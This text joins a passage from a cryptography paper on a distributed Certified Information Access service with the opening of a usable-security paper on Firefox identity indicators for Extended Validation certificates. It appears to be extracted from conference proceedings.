As stated above, the Tease procedure can be applied both on hard and soft

commitments. In case of hard commitment, the Tease procedure takes as input a
hard commitment com = (gm·(hr1)r0 , hr1), the decommitment key dec = (r0, r1),
and the string m and simply returns τ = r0. In case of soft commitment, the
procedure takes as input a soft commitment Scom = (gr0 , gr1), the teasing key
Sdec = (r0, r1), and the string m and returns τ = (r0 −m)/r1 (mod p− 1).

The VerifyTease procedure takes as input public parameters (p, g, h) and
teasing τ of commitment (C0, C1) to string m and consists in checking whether
C0 = gm · Cτ

1 . Correctness and security of this scheme have been shown in [7].

Certified Information Access. In the context of secure databases, an implemen-
tation of a certified information access has to provide the users with a database
service in which each answer to a query consists of the actual query results and
a proof that such information is indeed the actual content of the database. The
verification of the proof can be accomplished by using some public information
that the database provided before the query was issued. Such public information
should not reveal anything about the actual content of the database. In a CIA

system we identify three parties, the CertifiedDBOwner the User and the
PubInfoStorage.

In a setup phase, the PubInfoStorage generates the public parameters
that will be used for the CIA service. The PubInfoStorage is assumed not to
collude with the CertifiedDBOwner.

The CertifiedDBOwner, based on public parameters and the content of
the database, produces the public information that is then sent to the PubIn-

foStorage. Whenever a User makes a query to the CertifiedDBOwner, he
obtains an object that contains the answer to the query and some information
that can be used, along with the information held by the PubInfoStorage, to
prove that the answer is indeed correct and that the CertifiedDBOwner has
not cheated.

Certified Information Access via Mercurial Commitments. In the following, we
describe how to implement the CIA functionality based on Mercurial Commit-
ments. This description resembles the one in [7]. We consider a simple database
D associating to a key x a value D(x) = v. Let us assume that all keys have the
same length �, i.e., x ∈ {0, 1}�. A reasonable choice is � = 60 since on one hand
it allows to have a large key space and, at the same time, it is possible to use
hash functions for reducing the key size to this small value. The database D can
thus be represented by a height-� binary tree where leaf identified by the binary
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representation of x contains the value v = D(x). If no value is associated by the
database to key x, the leaf numbered x contains the special value ⊥.

A first solution to the CIA problem could be to constructs a binary tree as
follows: the leaves of the tree contain “classical” commitments of elements of the
database. Each internal node of the tree contains the “classical” commitment
of the hash of the concatenation of the contents of its two children. The “clas-
sical” commitment contained in the root of such a tree constitutes the public
information that is sent to the PubInfoStorage.

To answer to a query about x, the CertifiedDBOwner simply de-commits
the corresponding leaf and provides the authenticating path (along with all the
decommitments) to the root. The problem with this approach is that it requires
time exponential in the height of the tree: if we choose � = 60, then 261 − 1
commitments need to be computed.

This is where Mercurial Commitment helps. Observe that the exponential-size
tree might have large empty subtrees (that is, subtrees where each leaf is a com-
mitment to ⊥). Hence, instead of actually computing such a subtree ahead of
time, the CertifiedDBOwner forms the root of this subtree as a soft commit-
ment and does not compute anything for the rest of the tree. Thus, the size of the
tree is reduced from 2�+1− 1 to at most 2�|D|, where |D| represents the number
of elements in the database. Answering to a query about x such that D(x) �=⊥
is still done in the same way, i.e., the CertifiedDBOwner de-commits the leaf
corresponding to x along with all the commitments on the path from the root
of the tree to the leaf. If instead D(x) =⊥, the CertifiedDBOwner teases
the path from the root to x. More precisely, the path from the root to x will
consists of hard commitments until the root R of the empty subtree containing x
is encountered. All hard commitments from the root of the tree to R are teased
to their real values (recall that hard commitments can be teased only to their
real value). Then, the CertifiedDBOwner generates a path of soft commit-
ments from R to (the leaf with number) x ending with the commitment of ⊥.
Each soft commitment corresponding to a node along the path is teased to the
soft commitments corresponding to its two children. The User simply needs to
verify that each teasing has been correctly computed. We stress that for posi-
tive queries (that is, queries for x such that D(x) �=⊥) the User expects to see
opening of hard commitments whereas for negative queries (that is, queries for
x such that D(x) =⊥) the User expects to see teasing of commitments; some
of them will be hard commitments and some will be soft commitments but the
user cannot say which ones are which.

3 Securely Outsourcing CIA

As stated in the previous section, a CIA service can be implemented by using mer-
curial commitments. An implicit assumption is that the CertifiedDBOwner

uses a deterministic algorithm to associate the elements in the database to the
leaves of the tree, e.g., the value v = D(x) is associated to the leaf identified by
the binary representation of the key x. Such a deterministic approach allows the
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user to verify that the received proof corresponds to a specific path that, in turn,
corresponds to the queried key. We remark that the above argument does not rule
out the possibility of (pseudo-)randomly assigning keys to tree leaves. However,
if the CertifiedDBOwner uses a randomized strategy for such assignment, for
each key in the database, there should exists a “certified” way of binding the key
along with the randomness used to create the path in the tree.

Thus, a deterministic placement of database elements to tree leaves guarantees
the security of the CIA service. On the other hand, if the CertifiedDBOwner

is willing to outsource the tree construction, the problem of confidentiality of
information contained in the database has to be taken into account. Notice,
however, that there exist two conflicting requirements. On one hand, the Cer-

tifiedDBOwner need to hide the information contained in the database from
the entity that constructs the tree. Specifically, it should not be possible to check
whether there exists in the database a value associated to a specific key. On the
other hand, the User should be able to verify that the answer received for a
given query actually corresponds to the submitted key.

A first solution could be to (deterministically) encrypt the keys of the elements
in the database (along with the values associated to them). If the Certified-

DBOwner uses a symmetric key encryption scheme, she can securely hide all
the information from the computing entity. Unfortunately, after the tree has
been constructed, she need to publish the key used to encrypt the keys in order
to allow the users to properly verify the answers.

A second possible approach could be to encrypt each key in the database
using a public key encryption scheme. In this case, the leaf associated to the
key is identified by the binary representation of the encryption of the key itself.
This approach allows the User to compute by herself the “permuted” value of
the key. Unfortunately the entity that computes the tree can execute the same
operation herself by obtaining information on the existence of some specific key
in the database.

Another possible solution could be to place each element in the database in the
leaf identified by the (binary representation of the deterministically computed)
signature of the key. We remark that also this solution does not prevent the
computing entity to check whether or not some key belongs to the database by
simply “verifying” the existance of a valid signature for the considered key.

For the above reasons, we need a way of deterministically permuting the keys
in the database in a way that the computing entity will not be able (a) to com-
pute the key given its permuted value and (b) to compute the permuted value
of any key of its choice. Furthermore, the user, by interacting with the Certi-

fiedDBOwner, should be able (a) to compute the permuted value associated
to a given key and (b) to verify that the computed value is the one used by the
CertifiedDBOwner during the tree construction phase.

In order to hide the information contained in the database before outsourcing
the tree computation we need a deterministic function, wewill call it EnvelopeGen,
which should guarantee the following properties: the keys contained in the data-
base are deterministically permuted and the entity to which the tree construction
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will be outsourced will have no information on the actual keys contained in the orig-
inaldatabase. At the same time, the user should be able to verify the answers gener-
ated by the CertifiedDBOwner. Furthermore, since the CertifiedDBOwner

transfers the hard commitment of the values contained in the database, the confi-
dentiality of the content of the database is guaranteed. Once we have such a func-
tion, we build a new database as follows: to each pair (key, value) we associate the
pair (EnvelopeGen(key), Commit(value)).

As we will see in the next section, such properties can be achieved by using a
new primitive we introduce. This primitive will be used to permute the elements
in the database. Given such a permutation, the user can, by interacting with
the CertifiedDBOwner, compute the value associated to each key. On the
other hand, the computing entity, given the “permuted” database, cannot tell
whether or not a key is therein contained without interacting with the Certi-

fiedDBOwner.

4 Verifiable Deterministic Envelopes (VDE)

In this section we introduce a new primitive, the Verifiable Deterministic En-
velope, or VDE for short. We will use such a primitive to hide the information
contained in the database before outsourcing the tree computation our our dis-
tributed implementation of CIA.

4.1 VDE: Definition

Definition 1. A Verifiable Deterministic Envelope (VDE for short) is a triple
(EnvKeyGen, EnvelopeGen,EnvelopeOpen) of algorithms, involving a sender S
and a receiver R, described as follows:

– A randomized key generation algorithm EnvKeyGen executed by the sender.
The algorithm EnvKeyGen, on input a security parameter, k, generates a pair
(pk, sk). The value pk is made public while sk is kept secret by the sender.

– A deterministic envelope generation algorithm EnvelopeGen executed by the
sender. The algorithm EnvelopeGen, on input a string x, and the pair (pk, sk)
computes a V DE for x. In order to simplify the notation, we will denote by
EnvelopeGen(x) the VDE computed as EnvelopeGen(x, (pk, sk)).

– An interactive opening protocol EnvelopeOpen executed by both the sender
and the receiver. The protocol is started by the receiver who provides a string
x. At the end of the protocol, the receiver is able to compute the (correct)
value for EnvelopeGen(x).

The following is a security definition for VDE:

Definition 2. A VDE scheme (EnvKeyGen, EnvelopeGen, EnvelopeOpen) is
OW -secure if the following holds:

a. For any x, given pk and sk, the sender can compute EnvelopeGen(x) in
polynomial time.
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b. For any x, given pk, the receiver R by executing the opening protocol
EnvelopeOpen can compute in polynomial time the (correct) value
y = EnvelopeGen(x).

c. For any x, given pk, there exists no polynomial time algorithm that computes
y = EnvelopeGen(x) with non-negligible probability.

d. For any VDE y = EnvelopeGen(x), given pk, there exists no polynomial
time algorithm that computes x with non-negligible probability.

4.2 A General Construction

In the following we describe a general construction for a VDE scheme based on
one-way trapdoor permutations.

Definition 3 (A VDE Scheme). Let Π be a one-way trapdoor permutation
family. The proposed VDE consists of the following algorithms:
– EnvKeyGen(·): The algorithm takes as input 1k, where k is a security parame-

ter and outputs the pair (pk, sk) = ((�, (f, g)), (tf , tg)), where � is an integer,
(f, tf ) ← PermGen(1k) and (g, tg) ← PermGen(1k), are one-way trapdoor per-
mutations over {0, 1}�. The sender publishes the pair (f, g) while (tf , tg) is
kept secret.

– EnvelopeGen(·, ·): The algorithm is executed by the sender. It takes as input
a value x ∈ {0, 1}�, and the pair (pk, sk) and outputs e = EnvelopeGen(x,
(pk, sk)) = f(g−1(x)). The value e is sent to the receiver.

– EnvelopeOpen: Is an interactive protocol executed by the sender and the
receiver. Let x ∈ {0, 1}�. The opening protocol works as follows:

• The receiver R sends x to S.
• The sender S computes w = g−1(x) and sends w to R.
• The receiver checks whether g(w) = x and computes EnvelopeGen(x) =

f(w).
It is possible to prove the following:

Theorem 1. If f and g are one-way trapdoor permutations, then the Verifiable
Deterministic Envelope scheme described in Definition 3 is OW-secure.

4.3 VDE: A Practical Instantiation

In this section we describe a practical instantiation of the VDE primitives we
have introduced in the previous section. In our system we use the following
implementation of the VDE:
– The function f is implemented as a deterministic RSA encryption.
– The function g is implemented as a deterministic RSA signature.

The different phases of the VDE are implemented as follows:
– EnvKeyGen(·): The algorithm EnvKeyGen outputs the pair

((nE , eE , dE), (nS , eS, dS)), where

• nS < nE ;
• (nE , eE , dE) are the parameters for the RSA encryption scheme;
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• (nS , eS , dS) are the parameters for the RSA signature scheme;
• The parameters pk = ((nE , eE), (nS , eS)) are published while sk =

(dE , dS) is kept secret.
– EnvelopeGen(x, (pk, sk)): Given a value x, the sender computes

e = E(Sig(x, dS), eE) = (xdS mod nS)eE mod nE . The value e is sent to the
receiver.

– EnvelopeOpen: Let x be a key. The opening protocol works as follows:

• The Receiver R sends x to the S.
• The Sender S computes b = Sig(x, ds) = xdS mod nS and sends b to R.
• The receiver checks whether beS = x mod nS and computes
EnvelopeGen(x, (pk, sk)) = beE mod nE .

5 The Architectural Design Principles

In this section we describe the architectural design principles of the implemented
prototype and we report the results of some experiments run in order to evalu-
ate the performances and the scalability of our distributed certified information
access service.

We implemented our prototype by using the PUB-WCL library [5,4] which
has been designed to execute massively parallel algorithms in the BSP model on
PCs distributed over the Internet, exploiting unused computation donated by
PC owners. This goal is achieved efficiently by supporting thread migration in
Java and providing a load-balanced programming interface.

The BSP (Bulk Synchronous Parallel) model provides a parallel computing
scheme consisting of a set of processors with local memory, an interconnection
mechanism allowing point-to-point communication, and a mechanism for barrier-
style synchronizations. A BSP program consists of a set of processes and a se-
quence of supersteps, i.e. time intervals bounded by the barrier synchronization.
Architectural design. In this section we briefly describe the architectural design for
a system implementing the primitives described above. We identify four different
entities, CertifiedDBOwner, User, PubInfoStorage, and Cluster.

As described in Section 2, a CIA service consists essentially of three phases: an
initialization phase in which the parameters used for the scheme are generated; a
tree construction phase in which the tree of commitments is constructed; a query
phase, in which the User queries the database. In our setting, the applications
cooperate as follow:

– Generation of the parameters: The parameters used for the imple-
mentations are generated as follows:

• At startup, the PubInfoStorage generates the public parameters that
will be used for the Mercurial Commitment implementations. Since pub-
lic parameters are used both for generating the public information and
verifying all the answers to queries, such generation is carried out once,
and the parameters are stored in a file.
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• The CertifiedDBOwner generates the pair ((nE , eE, dE), (nS , eS , dS))
that will be used for the VDE computations. The CertifiedDBOwner

sends to the PubInfoStorage pk = ((nE , eE), (nS , eS)) while it keeps
secret sk = (dE , dS).

– Construction of the Tree of Commitments: The tree of commitments
is constructed in three main steps:

• Local VDEs Computation: For each element (key, value) in the da-
tabase the CertifiedDBOwner locally computes
EnvelopeGen(key, (pk, sk)). Once the VDEs for all the keys have been
computed, the CertifiedDBOwner holds a “new” database consisting
of the pairs (EnvelopeGen(key, (pk, sk)), value).

• Local Computation of Tree Leaves: For each element in the data-
base, the CertifiedDBOwner computes the hard commitment to the
string value. After this phase, the CertifiedDBOwner holds a new
database consisting the pairs (EnvelopeGen(key, (pk, sk)), com(value)).

• Outsourcing the Tree Construction: The CertifiedDBOwner

sends the transformed database to the Cluster by using the PUBWCL
library. The Cluster computes the public information as described in
the previous paragraph that is sent back to the CertifiedDBOwner

who forwards it to PubInfoStorage.

– User Queries: Once the public information has been published by the
PubInfoStorage, the User can query the database as follows:

• Let key be a key. The User engages in a opening protocol with the
CertifiedDBOwner.

• The User computes y = EnvelopeGen(key, (pk, sk)).
• The CertifiedDBOwner sends to the User the answer to the query

along with the open/tease of all the nodes on the path identified by the
binary representation of y.

• The User verified the proof received by the CertifiedDBOwner and
accepts it if it is consistent with the public information held by the
PubInfoStorage.

When the User queries the CertifiedDBOwner, he obtains a reply that is
verified against the public information held by the PubInfoStorage. We as-
sume point-to-point secure communication among CertifiedDBOwner, User

and PubInfoStorage. Such an assumption can be easily implemented, e.g., by
using Diffie-Hellman key exchange for establishing once a common key to used
for all the communications.

A BSP-based tree construction implementation. In the following we present a
distributed algorithm to construct the Mercurial commitment tree. Such a dis-
tributed construction will be realized by the processors of a BSP-cluster. The
workload assigned to each processor of the cluster will be about the same. This
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is due both for efficiency reasons and because of the specific characteristics of
the BSP model.

For each element (EnvelopeGen(key), Commit(value)) of the database, the al-
gorithm run by the CertifiedDBOwner computes the hash value
H(EnvelopeGen(key)), where H : {0, 1}∗ → {0, 1}60, and stores its value in
an ordered list. Then, such a list is partitioned into 2p ordered sub-list, where
p depends on the number of processors in the BSP cluster. The i-th sub-list
will includes all the elements in the subtree rooted at the node identified by the
binary representation of i. On the BSP cluster, a task spanning on 2p processors
is created. Finally, the 2p ordered sub-lists are sent to the BSP cluster. In the
cluster, Processor 0 will play a special role collecting the roots of all subtree com-
puted by all processors and building a Mercurial commitment tree having such
roots as leaves. The CertifiedDBOwner will be ready to answer to the client’s
queries once that it has received all the subtrees computed by the processors in
the BSP cluster (including the “top” subtree computed by Processor 0).

In order to keep the memory footprint low on each processor, we fix the maxi-
mum height h allowed for the tree reconstructed by the processor. The procedure
TreeHeight(L) returns the height k of Mercurial commitment tree containing
the leaves in L. If k is less than h, then the processor will compute the subtree
from the ordered block of leaf nodes assigned to it (i.e. the leaves in L). Once
that the computation of the subtree is completed, the processor sends the whole
subtree to the CertifiedDBOwner while its root is sent to Processor 0. On
the other hand, if k is bigger than h, then the processor will partition the list of
received values as done by the CertifiedDBOwner. At this point, the proces-
sor, for each sub-list in the partition, will compute a Mercurial commitment
tree that will be sent to the CertifiedDBOwner. The processor will cache
the roots of the computed subtrees. After the computation of all subtrees has
been completed, the processor will build a Mercurial commitment tree having
the cached roots as leaves. Such a subtree is sent to the CertifiedDBOwner

while its root will be sent to Processor 0. The CertifiedDBOwner caches each
received subtree.

Processor 0, besides computing the Mercurial commitment tree from the val-
ues received by the CertifiedDBOwner, will retrieve and sort all the cached
roots of the other subtrees. From this ordered list L Processor 0 will build a
Mercurial commitment tree having the values in L as its leaves.

Experimental Results. In this section, we report the results of some exper-
iments run to evaluate the performances and the real applicability of our dis-
tributed certified information access service. Our experiments have been carried
out on two different types of machines. The first, which we call ”local PCs”, and
a set which we call the ”cluster PCs”, implementing the web cluster consists of
39 PCs geographically distributed in 8 European Countries. Among these com-
puters we identify a central core consisting of 16 PCs located in the University
of Paderborn. Due to the scheduling policy, if the number of tasks submitted
to the cluster is low and if the load of the machines in the central core is low,
all tasks are assigned to such PCs. We notice that, the PUBWCL library allows



A Distributed Implementation of the Certified Information Access Service 409

the possibility to submit tasks to the cluster by assigning a virtual node to each
task. Depending on the current load of the cluster, multiple virtual nodes may
be assigned to the same machine. Furthermore, since it is not possible to gain
complete control over the machines in the cluster, if the number of submitted
tasks is high, very likely multiple tasks will be allocated to the same machine
inducing, as a side effect of the underlying BSP model, a slowdown for the whole
application.

For this reason we have first evaluated the time needed to outsource the
computation of the tree of commitments on 4 and 8 nodes. Our experiments
show that, although the CertifiedDBOwner needs to locally compute the
VDE and the hard commitment for each element in the database, most of the
computation time is required by the cluster for distributively construct the tree
of commitments. Furthermore, as the number of nodes increases, the system
performance becomes fluctuating because of the cluster load.

We have then compared the time required by a distributed solution against
the one needed by a centralized algorithm executed on a local PC. Our exper-
iments show a dependance on the cluster load on a solution including a bigger
number of nodes. We can derive that, if we consider only the time needed to
distributively compute the tree of commitments, the speed-up achieved is linear
in the number of nodes used for the computation. On the other hand, in order
to properly compare a centralized solution against the distributed one, we need
to take into account the total time from the moment in which the Certified-

DBOwner starts the process of (locally) computing the VDE for the elements
in the database to the moment in which such computation terminates, i.e., we
need to include the local VDE computation and the data transfer. In this case
we notice that, as the number of nodes increases, the distributed computation
time decreases and, thus, the impact on the speed-up ration of local compu-
tation and data transfer increases. Nevertheless, the speed-up achieved by the
distributed solution is still linear in the number of nodes used for outsourcing
the computation.

6 Conclusions

In this paper we have presented a distributed architecture for a Certified Infor-
mation Access system. We have shown that it is possible to securely outsource
the load for the construction of the tree of commitments to a cluster of un-
trusted PCs. To this aim, we have introduced a new cryptographic primitive,
the Verifiable Deterministic Envelope, that might be of independent interest.
Our experiments have shown that, if it is possible to gain complete control over
all the machines in the cluster, then it is possible to achieve a linear speed-up
w.r.t. a centralized implementation. We have used the PUBWCL library as an
”off-the-shelf” technology that allows the parallelization of computation. We re-
mark that our solution for secure outsourcing does not depend on the specific
technology.
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Abstract. With the introduction of Extended Validation SSL certifi-
cates in Internet Explorer 7.0, web browsers are introducing new indica-
tors to convey status information about different types of certificates. We
carried out a user study which compared a proposed new interface in the
Mozilla Firefox browser with an alternative interface of our own design
to investigate how users react to these new indicators. Our study in-
cluded eye tracking data which provided empirical evidence with respect
to which parts of the browser interface users tended to look at during the
study and which areas went unnoticed. Our results show that, while the
new interface features in the unmodified Firefox browser went unnoticed
by all users in our study, the modified design was noticed by over half
of the participants, and most users show a willingness to adopt these
features once made aware of their functionality.

Keywords: Usable security, extended validation certificates, browser
security, user study.

1 Introduction

The ability of a user to reliably determine the true identity of a web site is
important to online security. With the prevalence of phishing attacks, in which
users are lured to fraudulent web sites, it is becoming increasingly important
to provide users with effective tools to properly identify the true identity of a
site. The use of certificates has traditionally been one way of providing identity
information to the user, but studies have shown that many users have difficulty
interpreting certificates or may not even be aware that they exist [2,19].

With the introduction of Extended Validation (EV) SSL certificates [1], web
browser software vendors are facing the design challenge of integrating support
for these new certificates into their interfaces in a way that will be accepted
and understood by users. Microsoft’s Internet Explorer 7.0 was the first to in-
troduce new interface features for Extended Validation which included a green
background in the URL bar [6]. However, a preliminary study showed that these
new visual cues did not provide a notable advantage for identifying a legitimate
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web site [8]. Other leading web browser vendors are currently working on plans
to integrate support for Extended Validation in future releases [1].

After discussions with Mozilla developers [14], we decided to study the iden-
tity indicator being introduced in Mozilla’s Firefox 3.0 browser. This interface
includes a small clickable area to the left of the web site’s address that produces
a pop-up displaying information about the site certificate. The information dis-
played in the pop-up box indicates whether the site has an EV SSL certificate,
a traditional SSL certificate, or no certificate. We wanted to evaluate whether
this interface would be effective in conveying identity information to the user
and whether improvements could be made to make the indicator more effective.

We evaluated two different versions of the Firefox identity indicator – the
version introduced in the Beta release of Firefox 3.0 and a modified version of
this indicator that we designed, intended to better draw the user’s attention.
In a lab study, users interacted with both interfaces by performing tasks that
required visiting an e-commerce web site and searching for several items they
might purchase. Results were gathered by observation, questionnaire data, and
by the use of an eye tracking device.

The remainder of the paper is divided as follows. Section 2 provides a brief
background on Extended Validation SSL certificates and summarizes related
work in the area of web browser security. Section 3 describes our user study
methodology and the results we obtained. Section 4 provides a further discussion
of these results and the potential limitations of the study. Section 5 contains our
concluding remarks and ideas for future work in this area.

2 Background and Related Work

2.1 Extended Validation SSL Certificates

Extended Validation (EV) SSL Certificates are intended to provide improved au-
thentication of entities who request server certificates for their web sites. These
certificates build on the existing technology of the SSL certificate format but
involve a more strictly defined certificate issuance process. A rigorous authen-
tication process conducted by the EV Certification Authority (CA) is intended
to allow visitors to a web site having one of these EV SSL certificates to have
greater confidence in the site’s identity. Whether this end-result turns out to
be achievable remains an open question, relying on several factors including a
suitable user interface for conveying trustworthy information to users. The guide-
lines for this certification process were established by the CA/Browser Forum, a
voluntary organization consisting of CAs and Internet browser software vendors
who support the new EV SSL standard [1].

Fig. 1. Internet Explorer 7.0’s green URL bar for Extended Validation SSL certificates
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Current support for EV SSL certificates relies on visual cues in the browser
chrome – the frame of a web browser window that include menus, toolbars, scroll
bars and status bars. As of March 2008, Microsoft’s Internet Explorer 7.0 is the
only browser to offer support for the EV SSL certificate in production software.
When a user visits a web site having an EV certificate, the background of the
browser’s URL bar turns green and information regarding the web site owner and
the issuing CA is displayed beside the padlock icon to the right of the address
(see Fig. 1) [11]. Mozilla Corporation, KDE, and Opera Software ASA are also
members of the CA/Browser Forum and intend to provide EV certificate support
in future releases of their software [1,9,13,15].

2.2 Web Browser Security Indicators

One of the main challenges in the design of web browser security cues is the
unmotivated user property noted by Whitten and Tygar [19]. Security is a sec-
ondary goal for most users; they are primarily focused on tasks such as checking
email or browsing a web site. If security indicators are too subtle, many users
will not be motivated to search for them or read manuals to learn their function-
ality. Conversely, if the user finds the security indicator too obtrusive there is
a risk that the user will ignore security altogether, either because they become
annoyed or they grow too accustomed to the indicator.

A lack of attention to security cues can result in users falling victim to phishing
attacks. Dhamija, Tygar and Hearst [3] investigated why these attacks can be
so effective and identified a number of factors that contributed to their success.
Three groups of factors dealt directly with browser security indicators: (1) lack
of knowledge of security and security indicators, (2) lack of attention to security
indicators, and (3) lack of attention to the absence of security indicators. Even
when these cues are actively being used, many users cannot reliably distinguish
between a legitimate indicator and an attacker’s image of one. Images placed
in the content of a web page are often considered by users to be equally as
trustworthy, since many users make no distinction between the page content
and the chrome of a web browser [2].

The https Indicator. One indication of a secure connection to a web site is
the placement of https in front of the address in the browser’s URL bar. Several
studies have shown that many users do not notice the presence or absence of
the https indicator in a web site’s address [3,4,16,18]. One study by Schechter et
al. [16] involved removing the https indicator and having users login to a banking
web site. All 63 participants proceeded to enter their password and complete the
task, despite the absence of the indicator.

The Lock Icon. In addition to https, secure connections are also indicated by
the use of a lock icon located in the browser chrome. Its location varies depending
on which browser is being used; the lock is often located either beside the address
in the URL bar or in the bottom corner of the browser chrome. In several studies,
this is the security indicator most often noticed [4,18] but its absence often goes
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unnoticed [2]. Even when this indicator is used as a security cue by users, many
do not fully understand its meaning [2,3,4].

Whalen and Inkpen [18] noted that while the lock metaphor alone may be a
more powerful indicator of a secure connection than https, the icon is not being
used to its full potential if there is no interaction with it. In browsers such as
Internet Explorer and Firefox, the lock not only signifies a secure connection,
but clicking on the lock icon results in the display of identity information based
on the web site’s certificate. The majority of users who do rely on this security
indicator are not even aware of this identity feature [3,4,18] and do not reliably
understand the concept of certificates at all [2,3].

Extended Validation Indicators. Jackson et al. [8] performed an evaluation
of the current EV certificate support in Internet Explorer 7.0 with respect to
Picture-in-Picture phishing attacks. They found that the new security indicators
had no significant effect on the users’ ability to identify legitimate and fraudulent
web sites, and reported that no one in the untrained group even noticed the new
features. They do suggest that Extended Validation could become more useful
in the future as users gain more awareness.

2.3 Browser Spoofing

When discussing the use of visual indicators to convey security and identity
information, it is also necessary to consider how these indicators may be exploited
by attackers. Felton et al. [5] describe a spoofing attack in which they were able to
rewrite all of the URLs on a web page in order to direct users to an attacker site.
They noted that their attack would be even more successful by overwriting the
location and status bars using simple javascript so that the SSL indicators would
appear as expected to the user. Ye et al. [20,21] took this one step further by
implementing an attack that removed the location and status bars provided by
the browser and replaced them with their own. Since they had complete control
over these new bars, they were able to spoof the traditional security indicators
and even control the pop-up windows that displayed certificate information or
security warnings.

Internet Explorer 7.0 has taken steps to help prevent these types of spoofing
attacks. While the status bar can still be hidden, all windows (including pop-up
windows) are required to display the location bar at the top. The developers
of this browser have also placed all of the relevant security and identity indi-
cators in the location bar, such as the lock icon and the green background for
EV SSL certificates [12]. This makes it significantly more difficult for an at-
tacker to overwrite the indicators in the location bar; they can no longer simply
disable the default location bar and create their own. Restrictions such as this
would be useful in all web browsers to decrease the likelihood of spoofed security
indicators.

One attack that is no more difficult in this new IE 7.0 feature is the picture-
in-picture attack, in which attackers make use of images, within the content of
a web page, that mimic a browser window. Because of the similarity between
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the image and a legitimate browser window, the user can be fooled into thinking
the site has simply opened a new window in front of the original [3]. Jackson et
al. [8] acknowledge that without major changes to browser interface design, the
only ways for users to identify these types of attacks are to notice which window
has focus (two windows should not be in focus at once) or to try dragging or
maximizing the window, and even these strategies are not fool-proof.

2.4 Use of Eye Tracking

Whalen and Inkpen [18] built upon the previous research on web browser security
cues by incorporating eye tracking data into their evaluation. By tracking the
user’s gaze and fixation on the screen during the study tasks, they were able
to obtain empirical results to cross-check what was reported by users with their
actual behavior. There was very little variance between the visual cues that users
reported using during the tasks and the data obtained from the eye tracker, but
the tracking was also useful in identifying events that may otherwise have gone
unreported, such as users looking for a padlock in the wrong location.

Another study by Kumar et al. [10] involved an eye tracker to implement a
gaze-based password system that made use of the orientation of users’ pupils to
create passwords and authenticate to the system. The eye tracking data had a
margin of error of 1◦ which resulted in some degree of inaccuracy, but despite
this the error rates in their gazed-based password system were similar to those of
passwords entered on a keyboard. These results support the use of eye tracking
devices to reliably gather data on user gaze.

3 User Study

3.1 Implementation

Browser Interfaces. To evaluate the new identity indicators, we exposed par-
ticipants to all three possible states of the indicator in both of the browser
interfaces being studied (see Fig. 2(a)). The first browser used in the study was
the Firefox 3.0 Beta 1 as proposed by Mozilla1. We refer to this browser interface
as FF3 hereafter. The second browser was a modified Firefox 3.0 Beta 1, which
we modified from the publicly available Beta code to insert our own identity
indicator. We refer to this browser as FF3mod. In each of these browsers, the
identity indicator had three possible states: (1) identity unknown, for web sites
without SSL certificates or with self-signed certificates, (2) location verified, for
web sites with traditional SSL certificates, and (3) identity verified, for web sites
with EV SSL certificates2.

A third browser was also included in the study as a control, giving a total
of 7 different interfaces. This consisted of the unmodified Firefox 2.0 browser
1 This was the current beta version in January, 2008.
2 The italicized names here are those assigned by Mozilla developers as identifiers for

the three different SSL states. It is not our intention to explore, or tenure opinion, on
the “true” level of security resulting from the use of the different types of certificates.
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(a) FF3 and FF3mod identity indicators (b) FF3mod indicator states

Fig. 2. Screenshot of the identity indicators that were evaluated

(FF2) currently in circulation (circa March 2008), containing no support for
EV SSL Certificates. Thus the user interface for this third browser in the study
contained the traditional lock and https indicators but no additional identity
indicators. FF2 was shown only in the SSL state because, for web sites without
SSL certificates, the appearance of FF2 and FF3 is almost identical.

Because Mozilla had not yet implemented the functionality required to iden-
tify EV SSL certificates at the time of our build, we achieved the desired effect
by building three separate versions for each of the two browsers – one for each
state of the identity indicator. For FF3, the only distinguishing feature of the
three versions of the browser was the information provided in the pop-up box
of the identity indicator. This box contained a different icon depending on the
type of certificate (if any), and also displayed information about the identity of
the web site and to what extent that identity had been verified. In this browser,
Mozilla developers buttonized the portion of the browser chrome to the left of
the URL, which often contains a site’s favicon, so that it would appear click-
able to the user; clicking on this area would reveal the pop-up box for identity
information.

We felt that this clickable indicator may be too subtle and go unnoticed by
most users, so we designed FF3mod using a new identity indicator. Rather than
buttonizing an existing feature in the browser chrome, we created an identity
confidence button and displayed it in the same location to the left of the ad-
dress bar. The background of the button was colored white to provide a contrast
against the dark gray chrome and contained an identity confidence meter consist-
ing of three green lights. Web sites that had no certificate or had a self-signed
certificate would have one green light lit up; two lights were lit on sites with
traditional SSL certificates; and all three lights were lit for sites with EV SSL
certificates (see Fig. 2(b)).

We chose to use one color for the lights rather than a traffic light metaphor
for two reasons: (1) colorblind users may not otherwise be able to reliably



Exploring User Reactions to New Browser Cues for EV Certificates 417

distinguish between the different states; and (2) we did not feel it would be
acceptable to produce red warning signals on a web site without a certificate,
since many legitimate web sites simply do not offer secure connections. Similarly,
we felt that a yellow signal for a web site with a traditional SSL certificate might
falsely imply that the site may not be trustworthy. Other design considerations
included catching a user’s attention with the size and coloring of the button, and
conveying some identity information on the button itself for users who chose not
to click on it (or were not aware that it was clickable).

Other Technical Details. We were unable to use live web sites in our study
as the EV functionality had not yet been fully implemented in Firefox 3.0 at the
time of our evaluation. To provide the same experience as visiting live sites, we
hosted the web sites used in our study on a Windows XP Professional machine
using Apache 2.2.8. In order to emulate the correct behavior from the browsers,
we created self-signed certificates for each web site to provide the information
about the web site’s identity to the browser interfaces. Despite the fact that self-
signed certificates were used for all web sites in the study, each of the 7 browser
versions was hard-coded to display the appropriate SSL state no matter what
type of certificate was used.

The web sites were based on a very simple design for an e-commerce web site
selling computers, peripherals and accessories. All web sites were very similar in
order to reduce biases introduced by the appearance of the web site. However,
we created the illusion that the user was visiting 7 different sites by changing
the vendor name, the logo, and by interchanging product categories. This was
intended to reduce the possibility that participants would dismiss the security
cues once they believed they were interacting with the same web site for each
task.

A Tobii 1750 eye tracker [17] set to a resolution of 1024 x 768 pixels at 96 dpi
was used to capture and store data about each participant’s gaze and fixation
throughout the study. The stored data allowed playback of a recording of eye
location on the screen and also captured the x and y co-ordinates of the each
eye’s location at intervals of 20 milliseconds. This device was located at the
bottom of the monitor used by the participant for web browsing and captured
eye movement as long as the user stayed within the range of the device. A second
monitor was set up for the experimenter that displayed a real-time view of the eye
tracking functionality. This allowed the experimenter to note any times where
the user’s gaze focused on the identity indicators and also provided a way to
monitor that the eye tracker was functioning properly throughout the study. A
calibration done at the beginning of the tasks ensured that the eye tracker device
was configured correctly for each user.

3.2 Participants

A total of 28 participants took part in the user study. They were recruited
through the use of an online campus recruiting system as well as posters dis-
played on campus. Sixteen were male and twelve were female, with ages ranging
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from 18 to 29. Twenty-four participants were undergraduate students and had
